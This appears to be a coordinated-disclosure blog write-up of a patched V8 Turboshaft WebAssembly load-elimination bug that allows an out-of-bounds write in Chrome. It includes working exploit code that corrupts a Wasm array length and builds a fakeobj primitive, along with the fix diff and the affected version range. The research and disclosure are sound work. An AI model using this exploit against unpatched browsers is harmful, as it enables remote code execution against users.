In April, we reported a severe vulnerability in V8, the JavaScript and WebAssembly engine used by Chrome. This vulnerability enabled remote code execution in Chrome’s renderer process. This writeup will cover the technical details of the vulnerability. The vulnerability was originally discovered and exploited by Nebula Security, winning a $55,000 bug bounty from Chrome VRP.

Background

Before discussing the bug, it is useful to cover the pieces of V8 and compiler internals that interact here: V8’s WebAssembly compilation pipeline, Wasm GC arrays, Phi nodes, and Turboshaft’s Wasm load-elimination pass.

WebAssembly compilation in V8

V8 uses two main compilers for WebAssembly. Liftoff is the baseline compiler. It compiles a function quickly so that execution can begin with little startup delay, but it performs relatively few optimizations. Hot Wasm functions can later be compiled by TurboFan, V8’s optimizing compiler, which spends more time producing faster machine code.

Turboshaft is the control-flow-graph-based optimizing IR and compiler backend framework used in the optimizing pipeline. At the version relevant to this bug, Wasm operations such as array.get, array.set, array.len, struct.get, and struct.set were represented as Turboshaft operations before being lowered to machine-level loads, stores, and checks.

Unlike a linear instruction stream, a Turboshaft graph is divided into basic blocks connected by control-flow edges. Operations refer to their inputs through OpIndex values. Compiler passes can analyze the input graph, record that one operation is equivalent to another, and then build a new graph in which the redundant operation is replaced.

For example, suppose the graph contains two loads of the same field and there is no store to that field between them:

1
v1 = StructGet(object, field0)
2
v2 = StructGet(object, field0)

The second load can be replaced with v1:

1
v1 = StructGet(object, field0)
2
v2 = v1

This is safe only while the compiler’s model of memory is correct. If a store might have changed field0, the second load has to remain in the graph.

Wasm GC arrays and structs

WebAssembly GC adds typed, garbage-collected structs and arrays. A module can declare an array of mutable i32 values and a struct containing a mutable reference to that array:

1
(type $arr (array (mut i32)))
2
(type $holder (struct (field (mut (ref $arr)))))

The instructions used in this writeup have direct meanings:

array.new_default $arr allocates an array and initializes each element to the default value of its type.
array.len returns the array’s length.
array.get and array.set read and write an element.
struct.get and struct.set read and write a struct field.

Wasm requires an out-of-bounds array access to trap. When V8 builds the Turboshaft graph for an array.set, it first emits a bounds check that is conceptually equivalent to:

1
length = ArrayLength(array)
2
if (!(index < length)) {
3
  trap ArrayOutOfBounds
4
}
5
ArraySet(array, index, value)

The ArrayLength used by the check is an ordinary graph operation, so it can be optimized. If the compiler proves that the array was allocated with length 8, it can replace the load with the constant 8. A later optimization may then fold a check such as 3 < 8 to true.

The crucial safety requirement is that the array whose length was used for the check must be the same array that is passed to the element access. If the check uses one array’s length but the store uses another array, the access is no longer protected by the runtime object’s actual bounds.

In V8’s object layout, a WasmArray stores a 32-bit length in its header, followed by its inline elements. Its allocation size depends on that length and the element size. A WasmStruct similarly stores its fields inline after its object header. These details become useful when turning the compiler bug into a more powerful primitive.

Loops and analysis revisits

Loops make this analysis more complicated. A loop header normally has at least two predecessors:

A forward edge entering the loop for the first time.
A backedge returning from the loop body.

On the first visit, the compiler has not analyzed the backedge yet. It begins with the state from the forward edge, walks the loop body, and records the state produced at the backedge. It can then merge the two states and revisit the loop if the backedge changed something the first analysis assumed.

Suppose a struct field points to big before the loop, but the loop body stores small into the field:

1
Before loop: holder.field0 = big
2
Loop body:   holder.field0 = small

During the first analysis, a load of holder.field0 can resolve to big. After the backedge is considered, the loop header can no longer assume that the field is always big: on a later iteration it may contain small. The second analysis must therefore withdraw any optimization that depended on the earlier value.

This is a fixed-point computation. The analysis is finished only when revisiting the loop no longer changes the tracked state. Correctness requires both adding newly discovered replacements and clearing replacements that have stopped being valid.

Wasm load elimination

The WasmLoadEliminationAnalyzer tracks memory facts and proposed operation replacements in side tables. For a struct.get, it asks whether the same field already has a known value. For an array allocation, it records the allocation’s length as the known value of a synthetic array-length field.

The relevant allocation handler is:

1
void WasmLoadEliminationAnalyzer::ProcessWasmAllocateArray(
2
    OpIndex op_idx, const WasmAllocateArrayOp& alloc) {
3
  non_aliasing_objects_.Set(op_idx, true);
4
  static constexpr int offset = wle::kArrayLengthFieldIndex;
5
  memory_.InsertLoadLike(op_idx, offset, alloc.length());
6
}

kArrayLengthFieldIndex lets the pass model an array’s length like a load from a special field. If an ArrayLength later refers to the same resolved base, ProcessArrayLength can reuse the recorded value:

1
void WasmLoadEliminationAnalyzer::ProcessArrayLength(
2
    OpIndex op_idx, const ArrayLengthOp& length) {
3
  static constexpr int offset = wle::kArrayLengthFieldIndex;
4
  OpIndex existing = memory_.FindLoadLike(length.array(), offset);
5
  if (existing.valid()) {
6
    replacements_[op_idx] = existing;
7
    return;
8
  }
9
  replacements_[op_idx] = OpIndex::Invalid();
10
  memory_.InsertLoadLike(length.array(), offset, op_idx);
11
}

The call to FindLoadLike resolves known base replacements. Therefore, if a Phi is known to be equivalent to big, an ArrayLength whose input is that Phi can find the length recorded when big was allocated.

Recall: What does load elimination change?

The element access still uses the runtime array selected by the Phi. The optimization replaces the ArrayLength used by its bounds check. If that replacement is stale, the check and the access can refer to different arrays.

The Bug

The bug was in WasmLoadEliminationAnalyzer::ProcessPhi:

1
void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx,
2
                                             const PhiOp& phi) {
3
  InvalidateAllNonAliasingInputs(phi);
4

5
  base::Vector<const OpIndex> inputs = phi.inputs();
6
  // This copies some of the functionality of {RequiredOptimizationReducer}:
7
  // Phis whose inputs are all the same value can be replaced by that value.
8
  // We need to have this logic here because interleaving it with other cases
9
  // of load elimination can unlock further optimizations: simplifying Phis
10
  // can allow elimination of more loads, which can then allow simplification
11
  // of even more Phis.
12
  if (inputs.size() > 0) {
13
    bool same_inputs = true;
14
    OpIndex first = memory_.ResolveBase(inputs.first());
15
    for (const OpIndex& input : inputs.SubVectorFrom(1)) {
16
      if (memory_.ResolveBase(input) != first) {
17
        same_inputs = false;
18
        break;
19
      }
20
    }
21
    if (same_inputs) {
22
      replacements_[op_idx] = first;
23
    }
24
  }
25
}

The function first resolves each Phi input through the pass’s existing replacement table. If every input resolves to the same OpIndex, it records the first input as the Phi’s replacement:

1
if (same_inputs) {
2
  replacements_[op_idx] = first;
3
}

However, there was no corresponding else branch. If a previous visit found equal inputs but a later loop revisit found different inputs, the old entry in replacements_ remained unchanged.

This behavior was inconsistent with other handlers in the same analyzer. Both ProcessStructGet and ProcessArrayLength explicitly invalidate a previous replacement when they can no longer eliminate the current operation:

1
replacements_[op_idx] = OpIndex::Invalid();

For Phi nodes, the replacement was sticky. Once a Phi had been recorded as equivalent to an input, a later analysis could fail to prove that equivalence without withdrawing it.

Building the stale replacement

The following pseudo-Wasm contains all the control flow needed to trigger the bug:

1
(type $arr (array (mut i32)))
2
(type $holder (struct (field (mut (ref $arr)))))
3

4
(func
5
  (local $holder (ref $holder))
6
  (local $big (ref $arr))
7
  (local $small (ref $arr))
8
  (local $i i32)
9

10
  i32.const 8
11
  array.new_default $arr
12
  local.set $big
13

14
  i32.const 1
15
  array.new_default $arr
16
  local.set $small
17

18
  local.get $big
19
  struct.new $holder
20
  local.set $holder
21

22
  i32.const 2
23
  local.set $i
24

25
  loop
26
    local.get $i
27
    i32.const 2
28
    i32.eq
29
    if (result (ref $arr))
30
      local.get $big
31
    else
32
      local.get $holder
33
      struct.get $holder 0
34
    end
35

36
    i32.const 3
37
    i32.const 0x40
38
    array.set $arr
39

40
    local.get $holder
41
    local.get $small
42
    struct.set $holder 0
43

44
    local.get $i
45
    i32.const 1
46
    i32.sub
47
    local.tee $i
48
    br_if 0
49
  end)

There are two arrays: big has length 8, while small has length 1. The mutable field holder.field0 initially contains big. Inside the loop, an if produces either big or the result of loading holder.field0. That merged array becomes the input to an array.set at index 3. At the end of the body, holder.field0 is changed to small before the loop takes its backedge.

The first analysis pass

Before analyzing the backedge, the memory table knows:

1
holder.field0 = big
2
length(big) = 8
3
length(small) = 1

The StructGet(holder, field0) in the second branch can therefore be eliminated to big. The merge Phi has these inputs after resolving bases:

1
Phi(big, ResolveBase(StructGet(holder, field0)))
2
Phi(big, big)

ProcessPhi records:

1
replacements_[phi] = big

The bounds check for array.set contains ArrayLength(phi). Since ResolveBase(phi) is now big, ProcessArrayLength finds the length inserted when big was allocated and records the constant 8 as the length operation’s replacement.

Later in the loop body, StructSet(holder, field0, small) changes the tracked field value and produces a different state for the backedge. That difference causes the loop to be revisited.

The loop revisit

When the forward-edge and backedge states are merged, the analyzer can no longer say that holder.field0 always contains big. On the revisit, ProcessStructGet does not find an existing value for the field, so it correctly clears its previous replacement.

The Phi now resolves as:

1
Phi(big, StructGet(holder, field0))

Its two inputs are no longer identical. same_inputs becomes false, but the vulnerable ProcessPhi simply reaches the end of the function. The earlier entry remains:

1
replacements_[phi] = big  // stale

When the bounds check’s ArrayLength(phi) is processed again, ResolveBase(phi) still follows that stale entry to big. The compiler therefore continues to use 8 as the length in the check.

At runtime, the behavior across the two loop iterations is different:

1
Iteration 1: Phi selects big,   then holder.field0 becomes small
2
Iteration 2: Phi loads small,  but the bounds check still uses length 8

Index 3 is in bounds for big, so the optimized check succeeds. But on the second iteration the actual store operates on small, whose length is only 1. V8 performs the element store beyond the end of the runtime array instead of trapping.

The important distinction is that the pass does not replace the runtime array selected by the Phi with big. It incorrectly replaces the ArrayLength used by the bounds check. This leaves a small runtime array protected by a large array’s length.

Exploitation

Corrupting a victim array length

We first set up 3 arrays:

big, with length 8, provides the stale length used by the compiler.
small, with length 1, receives the out-of-bounds store.
victim, also with length 1, is allocated immediately after small.

The core trigger function is:

1
const arr = builder.addArray(kWasmI32, { final: true });
2
const holder = builder.addStruct([makeField(wasmRefType(arr), true)]);
3

4
const bigLen = 8;
5
const smallLen = 1;
6
const victimInit = 0x12345678;
7
const expandedVictimLen = 0x40;
8

9
const gVictim = builder.addGlobal(wasmRefNullType(arr), true);
10
const gHolder = builder.addGlobal(wasmRefNullType(holder), true);
11

12
builder.addFunction('expand_victim_length', makeSig([], []))
13
  .addLocals(wasmRefType(holder), 1)
14
  .addLocals(wasmRefType(arr), 3)
15
  .addLocals(kWasmI32, 1)
16
  .addBody([
17
    kExprI32Const, bigLen,
18
    kGCPrefix, kExprArrayNewDefault, arr,
19
    kExprLocalSet, 1,
20

21
    kExprI32Const, smallLen,
22
    kGCPrefix, kExprArrayNewDefault, arr,
23
    kExprLocalSet, 2,
24

25
    kExprI32Const, smallLen,
26
    kGCPrefix, kExprArrayNewDefault, arr,
27
    kExprLocalSet, 3,
28

29
    kExprLocalGet, 3,
30
    kExprI32Const, 0,
31
    ...wasmI32Const(victimInit),
32
    kGCPrefix, kExprArraySet, arr,
33

34
    kExprLocalGet, 1,
35
    kGCPrefix, kExprStructNew, holder,
36
    kExprLocalSet, 0,
37

38
    kExprLocalGet, 3,
39
    kExprGlobalSet, gVictim.index,
40
    kExprLocalGet, 0,
41
    kExprGlobalSet, gHolder.index,
42

43
    kExprI32Const, 2,
44
    kExprLocalSet, 4,
45

46
    kExprLoop, kWasmVoid,
47
    kExprLocalGet, 4,
48
    kExprI32Const, 2,
49
    kExprI32Eq,
50
    kExprIf, kWasmRef, arr,
51
    kExprLocalGet, 1,
52
    kExprElse,
53
    kExprLocalGet, 0,
54
    kGCPrefix, kExprStructGet, holder, 0,
55
    kExprEnd,
56
    kExprI32Const, 3,
57
    kExprI32Const, expandedVictimLen,
58
    kGCPrefix, kExprArraySet, arr,
59

60
    kExprLocalGet, 0,
61
    kExprLocalGet, 2,
62
    kGCPrefix, kExprStructSet, holder, 0,
63

64
    kExprLocalGet, 4,
65
    kExprI32Const, 1,
66
    kExprI32Sub,
67
    kExprLocalTee, 4,
68
    kExprBrIf, 0,
69
    kExprEnd,
70
  ])
71
  .exportFunc();

On the first runtime iteration, the if selects big, so writing index 3 is legitimate. The subsequent struct.set changes the holder’s field to small. On the second iteration, the if loads small from the holder. The stale length replacement lets the same index-3 store proceed even though small.length is 1.

In the x64 pointer-compression layout used by the proof of concept, a one-element i32 Wasm array occupies four 4-byte slots: the map, the inherited properties_or_hash field, the length, and element zero. In the validation run, the consecutive allocations place victim immediately after small, so small[3] overlaps the length field of victim:

1
small:  [ map ][ properties ][ length = 1 ][ element 0 ]
2
victim: [ map ][ properties ][ length = 1 ][ element 0 ]
3
                              ^
4
                              small[3]

The out-of-bounds store writes 0x40 into that field. The physical allocation still contains space for one element, but subsequent bounds checks now observe a forged victim length of 64.

The module exports helpers that access the victim through its global reference:

1
builder.addFunction('victim_read', kSig_i_i)
2
  .addBody([
3
    kExprGlobalGet, gVictim.index,
4
    kExprLocalGet, 0,
5
    kGCPrefix, kExprArrayGet, arr,
6
  ])
7
  .exportFunc();
8

9
builder.addFunction('victim_write', kSig_v_ii)
10
  .addBody([
11
    kExprGlobalGet, gVictim.index,
12
    kExprLocalGet, 0,
13
    kExprLocalGet, 1,
14
    kGCPrefix, kExprArraySet, arr,
15
  ])
16
  .exportFunc();

After expand_victim_length returns, these helpers trust the corrupted length. Indices from 1 through 63 pass their ordinary Wasm bounds checks even though they access memory beyond the original victim allocation.

From the corrupted length to fakeobj

The validation run similarly places the holder struct immediately after victim. In this layout, victim[3] overlaps holder.field0, which contains a compressed reference to a Wasm array:

1
victim: [ map ][ properties ][ length = 0x40 ][ element 0 ]
2
holder: [ map ][ properties ][ field0                    ]
3
                              ^
4
                              victim[3]

Because the victim’s forged length is 64, index 3 is considered valid. Writing an attacker-chosen 32-bit value at this index replaces the holder’s array reference. The exported getter then converts that field to an externref and returns it to JavaScript:

1
builder.addFunction('get_holder', kSig_r_v)
2
  .addBody([
3
    kExprGlobalGet, gHolder.index,
4
    kGCPrefix, kExprStructGet, holder, 0,
5
    kGCPrefix, kExprExternConvertAny,
6
  ])
7
  .exportFunc();

The primitive itself is only a few lines:

1
wasm.expand_victim_length();
2

3
function fakeobj(addr) {
4
  addr = Number(addr);
5
  wasm.victim_write(3, addr);
6
  return wasm.get_holder();
7
}

victim_write places addr into the reference field, and get_holder returns the resulting reference as a JavaScript value. With an appropriately encoded address for this V8 configuration, attacker-controlled pointer bits are therefore interpreted as an object, giving the initial fakeobj primitive.

Appendix

Timeline

2026-04-23: We reported the bug to Google.
2026-04-23: Google acknowledged the report and started investigating.
2026-04-23: Google identified the root cause and finished the fix.
2026-05-05: The fix was released in Chrome 148.0.7778.96.
2026-08-27: We published this blog post.

Mitigation

The fix clears the recorded Phi replacement when its resolved inputs are no longer identical.

1
diff --git a/src/compiler/turboshaft/wasm-load-elimination-reducer.h b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
2
index e15a7d6cd93..e1b415f5d87 100644
3
--- a/src/compiler/turboshaft/wasm-load-elimination-reducer.h
4
+++ b/src/compiler/turboshaft/wasm-load-elimination-reducer.h
5
@@ -987,6 +987,8 @@ void WasmLoadEliminationAnalyzer::ProcessPhi(OpIndex op_idx, const PhiOp& phi) {
6
     }
7
     if (same_inputs) {
8
       replacements_[op_idx] = first;
9
+    } else {
10
+      replacements_[op_idx] = OpIndex::Invalid();
11
     }
12
   }
13
 }

For users, please update to the latest version of Chrome.

Affected versions

The bug was introduced in Chrome 121 in the nondefault feature --turboshaft-wasm-load-elimination, which was made default in Chrome 132, and the bug is fixed in Chrome 148. Any Chrome version between 132 and 148 is affected.

Acknowledgements

We would like to thank the V8 team for their quick response and thorough investigation of this issue.

Disclosure policy

For all bugs found during our research, we follow our standard 90+30 days disclosure policy as described on our About page.